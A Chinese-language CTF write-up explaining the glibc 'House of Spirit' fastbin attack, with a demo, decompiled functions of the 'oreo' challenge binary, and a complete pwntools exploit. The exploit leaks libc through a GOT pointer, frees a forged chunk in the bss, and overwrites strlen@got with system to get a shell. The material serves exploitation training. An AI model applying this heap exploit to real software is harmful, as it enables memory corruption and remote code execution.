House of Spirit 原理

终于正式步入了houseof系列!!

house of spirit 其实也属于fastbin attack。简单来讲就是伪造一个chunk,不论这个chunk在什么位置,使之能够满足被free的条件,之后再将其malloc出来,因为malloc到了一个我们可控的区域,就有希望继续为所欲为。

依旧heap-explotation举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};

struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
// fake_chunks[0] at 0x7ffe220c5ca0
// fake_chunks[1] at 0x7ffe220c5ce0

void *ptr, *victim;

ptr = malloc(0x30); // First malloc

// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk); // 0x40

// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk); // 0x40

// Attacker overwrites a pointer that is about to be 'freed'
ptr = (void *)&fake_chunks[0].fd;

// fake_chunks[0] gets inserted into fastbin
free(ptr);

victim = malloc(0x30); // 0x7ffe220c5cb0 address returned from malloc

可以看见最后malloc到了fakechunk的位置,之后具体的利用以oreo举例

oreo

条件

1.malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned int add()
{
rifle *v1; // [esp+18h] [ebp-10h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
v1 = head;
head = (rifle *)malloc(0x38u);
if ( head )
{
head->next = v1;
printf("Rifle name: ");
fgets(head->name, 0x38, stdin);
cut_enter(head->name);
printf("Rifle description: ");
fgets(head->descript, 0x38, stdin);
cut_enter(head->descript);
++rifle_cnt;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ v2;
}

分析得到的结构体, name及description存在明显的溢出。

00000000 rifle struc ; (sizeof=0x38, mappedto_5)
00000000 descript db 25 dup(?)
00000019 name db 27 dup(?)
00000034 next dd ? ; offset
00000038 rifle ends

2.show

通过i->next遍历所有的malloc结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned int show_rifles()
{
rifle *i; // [esp+14h] [ebp-14h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = head; i; i = i->next )
{
printf("Name: %s\n", i->name);
printf("Description: %s\n", i);
puts("===================================");
}
return __readgsdword(0x14u) ^ v2;
}

3.message

给了一块0x80大小的可以写notice的内存,给了我们伪造bypass fakechunk检查的机会

1
2
3
4
5
6
7
8
9
10
unsigned int message()
{
unsigned int v0; // ST1C_4

v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(notice, 0x80, stdin);
cut_enter(notice);
return __readgsdword(0x14u) ^ v0;
}

思路

在上面的条件之下,我们便有了机会利用house of spirit 的机会,注意到bss段变量的存放顺序–>

1
2
3
4
5
6
7
8
9
10
.bss:0804A288 head          
.bss:0804A288
.bss:0804A28C
.bss:0804A2A0 order_num
.bss:0804A2A0
.bss:0804A2A4 rifle_cnt
.bss:0804A2A4
.bss:0804A2A8 ; char *notice
.bss:0804A2A8 notice
.bss:0804A2A8

而程序中仅有固定的malloc(0x38),分配出来的chunk size应该为0x41,我们可以想到,当malloc足够的chunk时,rifle_cnt将可以达到0x40,为了绕过free fastbin的检查我们就需要在notice中伪造nextchunk的pre_size 及size,这个很容易以做到。
伪造完成后,因为add中存在对name的溢出,那么如果将其溢出至rifle->next的位置,填入任一函数的got地址,那么在show时便足以泄露实际地址然后得到system,/bin/sh的地址。之后便将其溢出为fakechunk处,为之后的free做好准备。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./oreo"
oreo = ELF("./oreo")
if args['REMOTE']:
p = remote(ip, port)
else:
p = process("./oreo")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')


def add(descrip, name):
p.sendline('1')
#p.recvuntil('Rifle name: ')
p.sendline(name)
#p.recvuntil('Rifle description: ')
#sleep(0.5)
p.sendline(descrip)


def show_rifle():
p.sendline('2')
p.recvuntil('===================================\n')


def order():
p.sendline('3')


def message(notice):
p.sendline('4')
#p.recvuntil("Enter any notice you'd like to submit with your order: ")
p.sendline(notice)


def exp():
print 'step 1. leak libc base'
name = 27 * 'a' + p32(oreo.got['puts'])
add(25 * 'a', name)
show_rifle()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
print "binsh_addr: " + hex(binsh_addr)
print 'step 2. free fake chunk at 0x0804A2A8'

# now, oifle_cnt=1, we need set it = 0x40
oifle = 1
while oifle < 0x3f:
# set next link=NULL
add(25 * 'a', 'a' * 27 + p32(0))
oifle += 1
payload = 'a' * 27 + p32(0x0804a2a8)
# set next link=0x0804A2A8, try to free a fake chunk
add(25 * 'a', payload)
# before free, we need to bypass some check
# fake chunk's size is 0x40
# 0x20 *'a' for padding the last fake chunk
# 0x40 for fake chunk's next chunk's prev_size
# 0x100 for fake chunk's next chunk's size
# set fake iofle' next to be NULL
payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
message(payload)
# fastbin 0x40: 0x0804A2A0->some where heap->NULL
order()
p.recvuntil('Okay order submitted!\n')

print 'step 3. get shell'
# modify strlen@got to system addr // don't know why modified free@got addr could't get shell
payload = p32(oreo.got['strlen']).ljust(20, 'a')
add(payload, 'b' * 20)
log.success('system addr: ' + hex(system_addr))
#gdb.attach(p)
message(p32(system_addr) + ';/bin/sh\x00')

p.interactive()